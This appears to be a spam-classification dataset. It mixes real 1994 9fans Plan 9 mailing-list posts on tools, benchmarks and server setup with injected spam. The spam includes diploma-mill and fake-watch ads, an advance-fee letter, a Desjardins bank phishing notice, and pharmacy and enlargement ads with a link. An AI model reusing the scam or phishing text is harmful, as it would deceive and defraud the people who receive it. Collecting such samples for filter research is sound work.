trying to convince them that as yet, they could not get plan 9 and trying to calm down 8 irate programmers dosed on caffine is not a task for the faint of heart. A heartfelt request from me. Please make plan 9 available. Please. I don't do much programming, my forte is adminstration, but plan 9 seems to have hit our programmers where it counts and they are starting to make it a bit hot for me. Our manager is willing to pay for plan 9 and pay well. The crowning touch came when I showed them the letter Bob Kummerfield wrote about the time he attended INET93 and used his Compaq LTE in San Francisco to get the same exact environment (including CPU/file servers) there as he does in Australia. Our people would pay kill for that. Without saying more, I would venture that we pay AT&T well in the 6 figures per year for leased lines for our product installed in New Jersey ;) Ok, so it was not a minor gripe. On to more, bigger better things. I was reading over Andy Tannenbaum's papers on Amoeba, some papers on Chorus MiiX, and QNX (my other favourite operating system) and I was struck by how easy they make it to have multi computers with SSS (Single Site Semantics). A group of non shared memory cpu modules on a backplane acting as one computer. This would grow to include hundreds of CPU's, whereas the shared memory computers start to run out of bandwidth after a few dozen or so. Is there support for plan 9 for something like this? And finally: What next for plan 9? What do the designers of plan 9 envison next? -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 arnold@cc.gatech.edu,Vijay Gill ,"Fri, 04 Mar 1994 10:36:32 -0500",Faking it under Unix (was Re: Plan 9: The future),"You are relatively new to the list, so you may not know about 9term and the customized gwm from australia. These ""help"" in making looking Unix look more plan 9 like. First, you need to get the 9term dist from ftp.cs.su.oz.au in I think /pub/matty. This is a terminal emulator for X that behaves like an 8.5 window. It's built on top of sam's libframe and libXg. I don't think it comes with aviion support, so you may have some work to do there. Next you need John Mackin's customized gwm, which is a window manager that makes X look a lot like a blit. It was in the top level directory of civil.su.oz.au and I have it mirrored in ftp.cc.gatech.edu, get /pub/adr/gwm-dist.tar. Finally, you need a decent shell, either 'rc' or 'es'. Both are archived at toronto somewhere, I don't remember where. I use 'es', although I for the most part just type commands at it, and don't have the time I'd like to take advantage of its power. There are mailing lists run off toronto for both rc and es, although they've been quite quiet lately. (Alas, the two authors of the programs both work at start-up companies, which means they've had little time to do the real work of caring for their programs. :-) Anyway, the combination of sam, 9term+es, and the window manager give a *very* consistent feel to the environment, with a nice minimalist feel to the whole thing. I've been using this exclusively for about a year. The only time I use xterm is to read news, or if I'm at home to dial in to work. Enjoy! Arnold Robbins --- Continuing Education, College of Computing Georgia Tech, Atlanta, GA 30332-0280 Phone: +1 404 894 9214 (has voice mail) E-mail: arnold.robbins@cc.gatech.edu FAX: +1 404 853 9378 ""I'm just a hitchhiker along the Information Superhighway."" -- Me ",0,0 Chris Siebenmann ,9fans@cse.psu.edu,"Fri, 04 Mar 1994 12:30:26 -0500",Re: Faking it under Unix (was Re: Plan 9: The future) ," Es and rc can be ftp'd from ftp.sys.utoronto.ca in /pub/es and /pub/rc; rc can also be gotten from viz.tamu.edu:/pub/rc. The mailing lists are (es-request rc-request)^@hawkwind.utcs.toronto.edu. There's also a mailing list sam run here; send mail to sam-fans-request. - cks ",0,0 rsalz@osf.org,9fans@cse.psu.edu,"Fri, 04 Mar 1994 13:08:32 -0500",Plan 9 futures,">From Unixgram X, a copyrighted paragon of fleet street/tabloid/nat'l enquirer muck-raking: AT&T is working to seal its first commercial deal for Plan 9. No direct quote, but Unigram.X says Dennis Ritchie told them that they are negotiating with an unidentified company to bring the system up on a new machine where they don't have to worry about compatibility. Hints and inferences of cable-tv info-superhighway, the box on top of your TV set, etc, as well as remote portable systems. /r$ ",0,0 gary@staff.cs.su.oz.au,9fans@cse.psu.edu,"Sat, 05 Mar 1994 00:19:17 -0500",Re: Faking it under Unix,"rc, 9term, sam make for a nicer Unix. I still catch myself trying to use chords of mouse buttons in 9term. Anyone feel like taking a stab at an acme-like window-manager/editor/environment? ",0,0 Scott Schwartz ,arnold@cc.gatech.edu,"Sat, 05 Mar 1994 01:15:50 -0500",Re: Faking it under Unix (was Re: Plan 9: The future) ,"| I've been using this exclusively for about a year. | The only time I use xterm is to read news, or if I'm at home to dial in | to work. Me too, except its emacs for news and xterm for talk. :-) ",0,0 matty@cs.su.oz.au,schwartz@groucho.cse.psu.edu,"Sat, 05 Mar 1994 06:18:48 -0500",Re: Faking it under Unix (was Re: Plan 9: The future) ,"To: arnold@cc.gatech.edu (Arnold Robbins) cc: Vijay Gill , 9fans@cse.psu.edu Subject: Re: Faking it under Unix (was Re: Plan 9: The future) In-reply-to: Your message of ""Fri, 04 Mar 1994 10:36:32 EST."" <199403041536.KAA06687@penfold.cc.gatech.edu> Date: Sat, 5 Mar 1994 01:15:50 -0500 From: Scott Schwartz Message-Id: <94Mar5.011557est.2535@groucho.cse.psu.edu> | I've been using this exclusively for about a year. | The only time I use xterm is to read news, or if I'm at home to dial in | to work. Me too, except its emacs for news and xterm for talk. :-) Ah, perhaps it's time for me to tidy up gtalk and make it available. It's an interface I wrote for talk a while back built on top of libXg/libtext. It hasn't got bells and whistles but if there's interest I can put it up. For those who are interested I've found some time to look at 9term. I'm tidying that up (and I've hopefully fixed the echo problem...) and trying to nail down David Hogan to add 9wm compatibility. Gary (and others) have been asking me about chording too so I've at least thought about it. So there should be a new 9term bundle out soon. Now's the time to nag me again about the bugs you've been wanting fixed. ;-) Matty.",0,0 gary@staff.cs.su.oz.au,9fans-owner@cse.psu.edu,"Sat, 05 Mar 1994 21:33:51 -0500",Re: Faking it under Unix (was Re: Plan 9: The future) ,">Now's the time to nag me again about the bugs you've been wanting fixed. ;-) The lack of pie menus.... :-) ",0,0 Jerry W Johnson ,9fans@cse.psu.edu,"Sun, 06 Mar 1994 23:35:45 -0500",Lance Error arrgghhh!,"Hi 9'ers, We've got two sparc2's that serve as our main fs and cpu/auth server (with various ipx's as cpuservers and terms and pc's as terms). I'm hoping there might be someone a little more hardware oriented who might offer some insight. With increasing regularity (say four times in a day lately) the message ""lance error #88c3"" appears on the fs and essentially brings the whole system down. The equipment all responds, ""connection timed out"", and requires a reboot of everything! We've tracked the error to lance.c in /sys/src/fs/ss and have debugged it enough to say that the MERR bit is the culprit. According to ""Ethernet/ IEE 802.3 Family; 1992 World Network Data Book/Handbook"", pg 1-22; MERR MEMORY ERROR is set when the LANCE is the Bus Master and has not _____ received READY within 25.6 us after asserting the address on the DAL lines. When a memory error is detected, the receiver and transmitter are turned off and an interrupt is generated if NEA=1. MERR is READ/CLEAR ONLY, and is set by the LANCE and cleared by writing a ""1"" into the bit. Writing a ""0"" has not effect. It is _____ cleared by RESET or by setting the STOP bit. Has anyone had a similar problem? What might be possible solutions? Is the problem more likely to be hardware or software? Our best guess now would be to swap the fs and cpu server in the hopes that if indeed it's a bad lance on the fs, at least we wouldn't continue to lose the whole net. Comments? Suggestions? TIA. Cheers, --Jerry ",0,0 Dennis ,"ella@groucho.cse.psu.edu, karl@groucho.cse.psu.edu, kenya@groucho.cse.psu.edu, yvonne@groucho.cse.psu.edu","Mon, 07 Mar 1994 01:52:25 -0600",Now is your chance.,"Obtaining a DIP LOMA has never been so easy ! Call today and find out how you could get your DIP LOMA from a highly credible college, Full Transcripts, A Letter of Recommendations, and even honors. 1-206-666-5510 No required tests, classes, books, or interviews. Dip lomas are available include but are not limited to: Bac helors, Mas ters, M B A, and Doc torate (PhD) Available in any field of your choice. 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I know run a version where button 3 does send without appending a \\n to the text and this works quite nicely as it support picking things from the previous text to be entered into the new command. It does annoy a little when you want to edit some text for input to a command though. Anyway, I can mail you both patches if you want (they're not that much different anyway) and you can see what you think. I find 9term is dissimilar enough from sam to require a slightly different style of working. Look forward to the new version... -Mark. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Mark H. Wilkinson : Research student in user University of York, England : interface management systems",0,0 Louis ,debra@groucho.cse.psu.edu,"Mon, 07 Mar 1994 13:21:17 -0900","Being rich and healthy, much better than poor and sick.","Being rich and healthy, much better than poor and sick. Happy day! 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Anyway, while trying to compile u9fs on an hp-715 running hp-ux 9.01, the following error is displayed: cc: ""u9fs.c"", line 50: error 1000: Unexpected symbol: ""DIR"". cc: ""u9fs.c"", line 50: error 1573: Type of ""dir"" is undefined. cc: ""u9fs.c"", line 50: error 1578: Size of member is unknown. cc: ""u9fs.c"", line 67: error 1574: Unknown size for ""stbuf"". cc: ""u9fs.c"", line 67: error 1578: Size of member is unknown. cc: ""u9fs.c"", line 369: error 1000: Unexpected symbol: ""int"". cc: ""u9fs.c"", line 368: error 1588: ""DIR"" undefined. cc: ""u9fs.c"", line 368: error 1588: ""dir"" undefined. cc: ""u9fs.c"", line 369: error 1588: ""m"" undefined. cc: ""u9fs.c"", line 372: error 1558: The ! operator takes a scalar operand. cc: ""u9fs.c"", line 369: error 1588: ""trunc"" undefined. cc: ""u9fs.c"", line 376: error 1530: Undefined struct or union. cc: ""u9fs.c"", line 376: error 1588: ""S_IFCHR"" undefined. cc: ""u9fs.c"", line 376: error 1563: Expression in if must be scalar. cc: ""u9fs.c"", line 380: error 1567: Switch expression must be an integral type. cc: ""u9fs.c"", line 401: warning 563: Argument #1 is not the correct type. The source has been updated with some changes Rob Pike sent out last August(?), and is otherwise unchanged. Here is the modified makefile: CFLAGS=-N -I. -I/usr/include -I/usr/include/sys -Aa -DBIGEND -DSYSV -DNEEDPROTO -DLOG='""/tmp/u9fs.log""' u9fs: u9fs.o conv.o memmove.o mfmt.o cc -o u9fs u9fs.o conv.o memmove.o mfmt.o -lbsd %.o: %.c u.h libc.h 9p.h cc -c $(CFLAGS) $< Any suggestions, please? Any ""gotcha's"" I should be aware of? TIA. Cheers, --Jerry",0,0 Eddie Corcoran ,Rochelle ,,Fwd: READ," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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More information on SSS can be found on ftp.chorus.fr, look among their index for references to implementing Chorus on the ipsc/386 and the T9000, and on loosely coupled multiprocessors. The papers are: UNIX on a Loosely Coupled Architecture: The Chorus/MiX Approach (CS/TR-91-49) Chorus/MiX, A Distributed UNIX, on Multicomputers (CS/TR-92-10) Andy ""what have we learnt"" Tanenbaum has also done work in this area with the Amoeba Operating system (I don't have the papers handy, but here is a reference) Tannenbaum - Andrew Tanenbaum, Rob van Renese, and Hans van Staveren. {\\it A Retrospective and Evaluation of the Amoeba Distributed Operating System}, Techical Report, Vrije University, Amsterdam, October, 1989, pp. 27. Another good paper is: Hildebrand - Dan Hildebrand. {\\it An Architectural Overview of QNX.} The proceedings of the Usenix Workshop on Micro--Kernels \\& Other Kernel Architectures, Seattle, April, 1992. This, and some amoeba papers, are also available for anon ftp on ftp.cse.ucsc.edu under pub/qnx and pub/amoeba. More info can by found by doing an archie search on amoeba. Basically all it boils down to is (a gross oversimplification) making loosely coupled non shared memory processors (possibly several single board computers in a VME chassis) feel like a single computer. This does seem to be a good way to go, shared memory multiprocessors tend to run out of memory to processor bandwidth. I am not sure if Plan 9 can do SSS, perhaps someone can correct me if I am wrong. > Human: Stephen F. Simon Email: S.Simon@unsw.edu.au > Tel: 697 5744 (Provisional) Fax: 663 1222 > GPO: CANCES, Mech Eng building, UNSW, Po Box 1, Kensington, 2033 > Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. 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(And i don't mean the manpages or so, but news from 1994.) Thanx Heiko Wengler PS: I read in a german unix magazine that Plan9 will be released at the end of this year to the general public. Because of that i wonder if there is uptodate information about the current Plan9 anywhere. -- There is more information to be found about plan 9 from the plan9 mailing list: Mail 9fans-request@cse.psu.edu with the subject subscribe to join.",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Mon, 28 Mar 1994 00:27:03 -0500",Senseless benchmarks,"Just for fun, I ran the following program on a machine running SunOS and on a machine running Plan 9 (with obvious alterations to get it to compile.) I was hoping to see Plan 9 go faster, but they took about the same time (10 seconds on a Sparcstation I). Has anyone done more thoughtful benchmarks comparing the two kinds of systems? /* #include #include #define exit exits */ main() { int i; for (i=0; i<1000; ++i) { if (fork()) { wait(0); } else { exit(0); } } } P.S. reason #2 why plan 9 is not my favorite operating system ""vc, xc, etc"". given that you will usually use an mkfile most of the time anyway, why not name them something sensible like ""sparc-cc, mips-cc, etc-cc""?",0,0 piers@basser.cs.su.oz.au,9fans@cse.psu.edu,"Mon, 28 Mar 1994 00:49:18 -0500",Re: Senseless benchmarks,"Date: Mon, 28 Mar 1994 00:27:03 -0500 From: Scott Schwartz Message-Id: <94Mar28.002712est.2542@groucho.cse.psu.edu> Just for fun, I ran the following program on a machine running SunOS and on a machine running Plan 9 (with obvious alterations to get it to compile.) I was hoping to see Plan 9 go faster, but they took about the same time (10 seconds on a Sparcstation I). ... I just did that on an SS-1000 running SunOS 5.2, and it took 17.3 seconds.",0,0 Scott Schwartz ,piers@basser.cs.su.oz.au,"Mon, 28 Mar 1994 01:06:50 -0500",Re: Senseless benchmarks ," > I just did that on an SS-1000 running SunOS 5.2, and it took 17.3 seconds. Make sure you statically link it. Otherwise you pay for all sorts of shared library overhead. ",0,0 David Hogan ,Scott Schwartz ,"Mon, 28 Mar 1994 02:52:33 -0500",Re: Senseless benchmarks ,"> > I just did that on an SS-1000 running SunOS 5.2, and it took 17.3 seconds. > > Make sure you statically link it. Otherwise you pay for all sorts > of shared library overhead. I just tried it, and it runs twice as fast (around 8 seconds) if I statically link. Plan 9 on a lowly sparc ELC runs the test in about 4 secs -- twice as fast again! I heard some rumor about fork on Solaris taking 1/10th of a second around the time that we got the SS-1000s, but perhaps this was fixed in a later release of Solaris. ",0,0 rob@plan9.research.att.com,9fans@cse.psu.edu,"Mon, 28 Mar 1994 10:06:43 -0500",,"the sun is perhaps a poor choice for this test because its mmu and caches are pessimal for anything involving lots of processes. the cost of flushing caches and mmu will dominate any operating system performance. in other words, the hardware is so expensive that software hardly matters. i tried the test on our challenge multiprocessors. 10,000 fork/exit/wait. plan 9: real time 1.32 seconds. unix: real time 41.1 seconds. the unix system had more load, but was still pretty quiet. system time was 27.9 seconds. on our seven-year-old SGI power machines, the test takes 6.26 seconds. the time is about 4 seconds on a single-processor MIPS magnum of the same vintage, so the multiprocessor part isn't very important. now scott's test was 1,000 forks on a sun; my test was 10,000. on our at&t gnots, with 25MHz 68020's and awful mmu, it takes 75 seconds to do 10,000. our modern sparcstation-2 machine takes 34 seconds. (a newer machine than the magnum that takes 4 seconds.) you see, suns suck. they really do. the processors are borderline OK but the rest of the system hurts. yesterday, quite independently, i was doing some tests of large-scale memory bandwidth and the suns were laughable. as for compiler names, the scheme we have is simple, consistent, and parsimonious. if crypticness is the complaint, remember you're talking about a C compiler. ",0,0 quanstro@epsilon.eecs.nwu.edu,9fans@cse.psu.edu,"Mon, 28 Mar 1994 12:23:46 -0500",fork test,"just a little more evidence that suns suck. when the 670mps came out, i remember doing a fork test on a vax 11/780 running xinu and the sun running sunos4.1.xx. the sun as i remember was about 10x as slow as the vax, and it was even slower if the child process touched memory. and the 11/780 is a 1 mip machine. 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This leads to a quick question? How do we remove accounts from the system once a class is over? 2. Is there a way to enforce disk quotas? I don't want some malicious user filling up the entire disk and then pretending that it was the output of an infinite loop writing out to disk and that they didn't know that it could do that, hence could we have an extention on our project since the entire class could not do any work? This has happened before. 3. I have some more money coming in and looking at the new Sun announcement, was wondering if there are any plans to support the Sun Classics or Sparcstation 5's? 4. We have very many SGI Indigo and Indy machines just lying idle. Any idea if plan 9 runs on the Indigo Boxes? I know that it runs on the SGI Challenge XL's. We have them, but my hope was that Challenge's also imply support for Indigos ;) 5. Anyone use plan 9 as a general environment for classes? If you do, would you mind sharing some tips/tricks? I have the official annoucement from Sun about their new workstations (Sun Sparcstation 5 and 20's). The Classic has been reduced to $3k and the new sparcstation 5 comes in at around $4k (with half a gig of disk, 16 meg of ram, monitor et al, 70 mz uSparc-II). If anyone is interested, I can mail it out individually. It was also posted to comp.sys.sun.hardware. Sorry to be asking so many (to some, stupid) questions, but I get only one shot at making plan 9 a part of our environment and I've had to call in a lot of favors for this one. -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. 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",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Sat, 09 Apr 1994 19:25:01 -0400",correction to the nofileserver.ps script," I finally debugged the problem: The _conform.map has filenames starting with Fxxxxxxxxx and Dxxxxxxxxxx The distribution filenames are all lowercase (eg, fxxxxxxxx and dxxxxxxxxxxx) Just edit _conform.map and change all uppercase F and D's to lowercase. It works just fine. Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Sun, 10 Apr 1994 16:42:52 -0400",fork test,"i've just tried the 10,000 fork test on a Sparc Classic unix 156.1 real 136.9 sys 13.5 user dynamically linked 58.7 real 50.4 sys 3.2 user statically linked, dynamically paged executable 58.8 real 51.1 sys 2.8 user statically linked, not dynamically paged image (-n) plan 9 26.9 real 20.4 sys 0.8 user no need to choose the sparc classic has tiny caches, and a sleazy implementation of the Reference MMU (TLB context flushes are implemented as complete TLB flushes). i might revise the MMU code, but i don't think it will help this test on this model of sparc. memmove might be made faster, though; i haven't checked yet. i haven't got figures for the ss/10, since that hardware is different again. ",0,0 Judy Watson ,paulette@groucho.cse.psu.edu,"Wed, 13 Apr 1994 19:56:46 +0200",Beneficiary,"judy watson Email:watson07@walla.com Dear Sir/Madam My name is Mrs. judy watson. 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Regards, judy watson (Mrs) ",1,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Thu, 14 Apr 1994 12:14:35 -0400",newcomer rehashing some old questions,"Hi. I'm new to this list, and I found a few things in the archive that I'd like to ask about. On 2 Nov 1993, mike@majestix.cs.uoregon.edu wrote: > There is no need for a cpu server to run Plan 9, unless you > want to run daemons that accept calls from the outside world, > for instance for mail delivery or remote logins. There is > no real difference between a terminal and a cpu server; a > cpu server is essentially the same kernel with a different > startup script that starts various daemons. Since auth(8) and cron(8) can run on a terminal, is there any way to make the other daemons (for mail delivery and remote logins) work on one? Perhaps by building some sort of hybrid kernel? The cpu server and terminal kernels are closely related, but what is the difference between them? More than just the graphics driver I guess. I only have 2 Magnums to work with, and I was planning to use one as a terminal, and the other as a file server (with 2 interleaved 200Meg disks). Would this be recommended, or does anyone have a 'better' idea? On Thu, 17 Feb 1994, Sean Doran wrote: > I'm fairly sure that I was being told about post-Brazil things (better > networking including a working IP multiplexor, PPP and NFS, colour support > and better graphics models, bug fixes, a more solid 486 port) when What is Brazil? Is it available? Is it a third release of Plan 9? Thanks, Steve ",0,0 Jeffrey ,francis@groucho.cse.psu.edu,"Thu, 14 Apr 1994 22:23:53 +0200",Your bill Consolidation Application confirmation,"Dear Home Owner, Your credit doesn't matter to us! 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Any security worries? -- Scott ",0,0 Bob Kummerfeld ,Scott Schwartz ,"Fri, 15 Apr 1994 13:03:50 -0400",Re: 9fs on the internet ,"In message <94Apr15.001532edt.3010@groucho.cse.psu.edu>, Scott Schwartz writes: >According to the statistics from Merit, there's at least some 9fs >traffic on the internet. For March: > >name port packets bytes >9pfs 564 41350 4358750 > >If there's anyone who will admit to doing this, do they care >to discuss the results? Was performance reasonable, compared >to AFS, say? Any security worries? > >-- Scott It could be me. I have a laptop (Compaq LTE/25e, 486, 200meg disk, 12meg mem) that I carried with me from Sydney to Wisconsin (sabattical leave). I plug it into the ethernet here every now and then and mount a file system back in Sydney. I also took it to the last IETF meeting in Seattle and did the same thing. I've made a new kernal with SLIP support on a machine in Sydney and copied it across. Performance was acceptable but I can't compare it with other systems. Bob.",0,0 yodaiken@sphinx.nmt.edu,9fans@cse.psu.edu,"Tue, 19 Apr 1994 12:22:54 -0400",Why compile.c ?,"What is the rationale for compile.c in the sparc version of Plan9? Why not simply write out the assembly code? ",0,0 rob@plan9.research.att.com,9fans@cse.psu.edu,"Tue, 19 Apr 1994 13:17:36 -0400",Re: Why compile.c ?,"Why? Why do by hand what a machine can do just as well or better? The SPARC MMU is inexcusably badly designed. To make a single kernel that supports all variants one must either write oodles of ugly assembly code, with loops that must be unrolled for speed, or generate code at boot-time tailored to the machine at hand. We chose the latter approach because it's really less code to maintain. I wrote the compiler in just a couple of hours one afternoon. It's very easy stuff. Since some of the code must be generated - for example, cache line sizes vary from model to model - what the hell? Why not generate it all? Easy, and susceptible to adaptation as SUN's creative minds continue to design hardware. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Thu, 21 Apr 1994 11:16:21 -0400",Re: PC Dist,"On Thu, 21 Apr 1994, Dirk Vleugels wrote: > Hi! > > I looked in the att ftp server for plan 9 and found the pcdist directory > empty. Why? Isn't a PC distribution available? If so, where can i get one. > And could you give me some hints about the machine requirements to run > plan 9. I'm using a 486dx33 with 8M ram. > > Ciao > > - Dirk Hmm, I am currently running plan 9 on a generic 486 dx/33 no name clone with 4 megs of ram and 120 megs of hard disk while waiting for our PC's to come in. Using a unix filesever to bootstrap, I now have a stand alone plan 9 system. There are a couple of problems, I keep running out or ram (with a 20 meg swap partiontion), swap /dev/swap doesn't seem to do much for me. The system is nice, but thats about it. For the machine, disable shadow ram, and life will be much easier if you have a magnum to set up as a fileserver. If you don't, you really need a unix system which can run u9fs, this makes life infintely easier when trying to copy over the files. Other than that, I'll let Forsyth, Capel et al, handle this, they are much more familiar with this than I am. Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 Destinee Scarbrough ,nettie@groucho.cse.psu.edu,"Thu, 28 Apr 1994 02:33:32 -0500",This diet plan is over the roof,"but swarthout ! concordant and celebrate be clifton but rubdown ",1,0 guenther@stolaf.edu,9fans@cse.psu.edu,"Sun, 01 May 1994 02:29:51 -0400",assorted questions," We've been trying to get plan9 setup in some form here at St Olaf for awhile now, and I've finally got it to the point were I could go through and recompile the kernels, fix the permissions on /adm, etc. Throughout this I've been aquiring a list of questions/problems. Well, yesterday when I fired up the cpu server and terminal (both Sun SLC's that run SunOS normally. Dang machine shortage.) into plan9, I couldn't use the cpu command to get from the terminal to the cpu server, so I figured I might as well flush my list and see if I'm totally confused. Setup ------ fileserver: ""the_ruler"" SPARCstation 2 with 1G drive cpu server: ""tanna"" SPARCstation SLC, diskless (also serves authentication) terminal: ""eros"" same as cpu server The fileserver + drive are our spares, so I've backing up my changes via u9fs. :-| The cpu server and terminal are in the CS lab, and run SunOS normally. When I want to work with plan9 I halt them and use the boot rom's ""dload"" command to snarf the proper kernel via tftp (saves having to change the ether's database or /tftpboot on the server). Thus they can't run plan9 continuously (just not enough computer to spare right now). Okay, here's the list. Most of these have implict ""why?"" or ""anybody see this?"" attached. 1) The fileserver is supposed to rerequest the password when you type control-D on it's console. I do that, and it halts. I've added a new command ""exit"" which just calls conslock() to get around this, but I'm not sure why it doesn't work correctly. 2) Every so often, the filesever will just stop accepting connections. You can see the allocation message, but the remote machine never gets a nop, auth or attach through apparently. This appears to have some connection with ethernet errors (from statl). Rebooting the fileserver fixes the problem. 3) Speaking of rebooting the fileserver, whenever I do so I have to reenter all the info. Why? If I don't, the ip address is incorrect! I can type: service the_ruler.plan9.stolaf.edu ip 130.71.8.48 ipgw 130.71.8.1 ipmask 255.255.255.0 ipauth 0.0.0.0 config w1 filsys main w1 and it works fine. I halt it, reboot, not enter config mode, but watch the config messages go by, and the ip address becomes something like 135.104.9.122. Everything else is fine (ipgw, service, etc). 4) DNS. Does *anybody* know how to get plan9 to use DNS? I've added ns lines to /lib/ndb/local, both for the DNS root as well as stolaf.edu. dom=stolaf.edu ns=nic.stolaf.edu ns=mari.acc.stolaf.edu ns=news.stolaf.edu dom=nic.stolaf.edu ip=130.71.128.8 dom=mari.acc.stolaf.edu ip=130.71.192.16 dom=news.stolaf.edu ip=130.71.128.9 And our cpu server starts ""ndb/dns -s"" from /bin/cpurc. Sure enough, I can point nslookup at the cpuserver and it does proper forwarding. How can I get cs to use it? ""echo 'add dns' >/net/cs""? I looked at the dns and cs source, but got lost very quickly. 5) BOOTP. Due to the difficulties of getting authentication running without machines getting their info from BOOTP (as opposed to just typing it in each time), I hacked the plan9 kernel to do roughly rfc1048 & 1533 BOOTP. That is, the vendor field turns into options with the rfc specified magic cookie (99.130.83.99), it extracts the fields to do ipmask and ipgw, and options 209, 210 and 211 are site-specific options to specify fileserver, authentication server, and ip number. ip number? Yeah. Since these machines run SunOS normally, the ip number in the BOOTP header goes with the name under SunOS, and this other BOOTP option gives their plan9 IP. Feel free to vomit. Anyway, is there someway this can be shared with any interested parties? Do I have to see a copy of their plan9 license before I can email them diffs to 9/boot/ip.c and 9/port/bootp.h? 6) Okay, now the biggy: authentication. First of all, the documentation isn't at all clear on what actually have to be in the keys database to make it work. Reading the source of libauth yielded the following as far as I can tell undocumented fact: Each cpu server needs to entered as a host in the plan9 auth database with the machine password under the system's name. The installation guide mentions machine login's, but doesn't say how to make them (that's easy), what they're for, or that cpu server ""tanna"" needs auth entry ""tanna"". This is after 3 hours of tracing libauth when I just had a host entry for ""bootes"" (still haven't changed that). Anyway, I got it working. Yesterday, I fired up plan9 again. Ha. cpu decided it doesn't like me, and proceeds to return ""challenge mismatch"". Okay, maybe a password was incorrectly entered somehow. So I reenter the machine password in the auth database for both bootes and tanna (the cpu/auth server's name). Bzzt. I reenter mine. Still no go. I remove /adm/keys from the file server console, recreate it, and restock it with users. Still no go. Worked fine a week ago. Maybe it's because the moon is now waning... So this last one is really a plea to someone in the know to explain the practicals of setting up authentication under plan9. I've read the manpages too much. How do the commands reflect the theory in auth(6)? Much preresponse appreciation. Philip Guenther guenther@stolaf.edu (Philip Guenther) St Olaf College, Northfield, MN 55057 (defun sig-hook () (insert-disclaimer 'my-opinion-only 'powerless-student)) ""To go outside the mythos is to become insane..."" -Robert Pirsig ",0,0 Nikki ,margarita@groucho.cse.psu.edu,"Fri, 06 May 1994 08:13:54 -0400",L00king for che@p medZ?,"Margo wouldn't have worried had she been able, at that moment, to see them both.Allard and Cranston, rolled into one personality: The Shadow. He was in the back room of the little shop which he used as headquarters, and had just finished putting on his cloak and hat. USmeds drugst0re is chiefly a guaranty of quality and confidentiaality. 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Very shortly they noticed that the connection had timed out, and required rebooting themselves. In a minimal configuration like this, that's not a big deal, but what does one do in a larger configuration, with several cpu and file servers? NFS has lots of shortcomings, but its one good point is that recovery is automatic. Brazil allows file systems to be mounted with a recover option which does exactly what you ask. The recovery is entirely transparent to the user. ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Fri, 06 May 1994 20:32:19 -0400",expecting more from errstr,"Emboldened by the favorable reply to my last query, here is another: One annoying thing in Unix is when you say something like open(""/no/such/directory/or/file"",0), it tells you that it something doesn't exist, but doesn't say what, which sometimes makes for uninformative error messages. Now that we have errstr, instead of just errno, it would be delightful if it would encode something about what went wrong, so that perror could say something like open: failed because directory 'such' does not exist ",0,0 philw@plan9.research.att.com,9fans@cse.psu.edu,"Fri, 06 May 1994 21:22:38 -0400",,">From: euler.Berkeley.EDU!serge > >>Brazil allows file systems to be mounted with a recover option >>which does exactly what you ask. > >Pardon me, can you tell me what Brazil is? Thank you very much. Brazil is the name of the research version on Plan 9 we are currently working on. >From: Scott Schwartz > >One annoying thing in Unix is when you say something like >open(""/no/such/directory/or/file"",0), it tells you that it something >doesn't exist, but doesn't say what, which sometimes makes for >uninformative error messages. Now that we have errstr, instead of just >errno, it would be delightful if it would encode something about >what went wrong, so that perror could say something like > open: failed because directory 'such' does not exist This has nothing to do with the plan 9 kernel. The errstr is produced by whatever file system you are connected to. However, while the file system could be modified to do this it does not seem unreasonable to expect the application programmer to print adequate information especially with the werrstr library function and %r format.",0,0 Scott Schwartz ,philw@plan9.research.att.com,"Fri, 06 May 1994 22:18:30 -0400",,"Phil writes: | However, while the file | system could be modified to do this it does not seem unreasonable | to expect the application programmer to print adequate information | especially with the werrstr library function and %r format. I agree. I want to do even better and print (or at least read) messages that say which component caused the error. As you say, that requires the fileservers to follow some convention for communicating the information back. I was imagining hacking the print routines to clip off the proposed trailing :number and return it in some other % verb, but even without that it would be an improvement just to see the raw information. (I mistakenly used perror in the example before. I really was thinking about the %r format, but my fingers are more used to typing the other.) ",0,0 services.de.cartes.desjardins@scd.desjardins.com,luis@groucho.cse.psu.edu,"Mon, 09 May 1994 07:41:33 -0000",Avis Important et Personnel,"Mouvement Desjardins Cher(e) membre Desjardins/ AccèsDLe département de vérification comptable du Groupe Desjardins a détecté un problème de transaction dans votre compte. Un montant a été déposé et retiré par notre système comptable. Nous vous avisons de cette erreur afin que vous ne soyez pas surpris quand vous verrez ces transactions sur votre relevé transactionnel. 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Tous droits réservés.",1,1 Jessie Herrington ,antonia@groucho.cse.psu.edu,"Mon, 09 May 1994 13:49:33 +0300",Welcome To Liquid Web,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! Clisk here: http://willowspd.info cholinesterase putty thicken mathews bowen embargo fort clockwise throne destinate downward beribbon caliph locomotor chemisorption aerosol wah bombast contrivance briton cheesecloth seersucker angel bantus debrief retribution heinrich bundestag lusaka countdown posture each porterhouse aniseikonic anecdotal cacm theme circuitous rene gray checklist hitachi playful schlitz asher inequitable jude cinerama dogging stasis anatomic 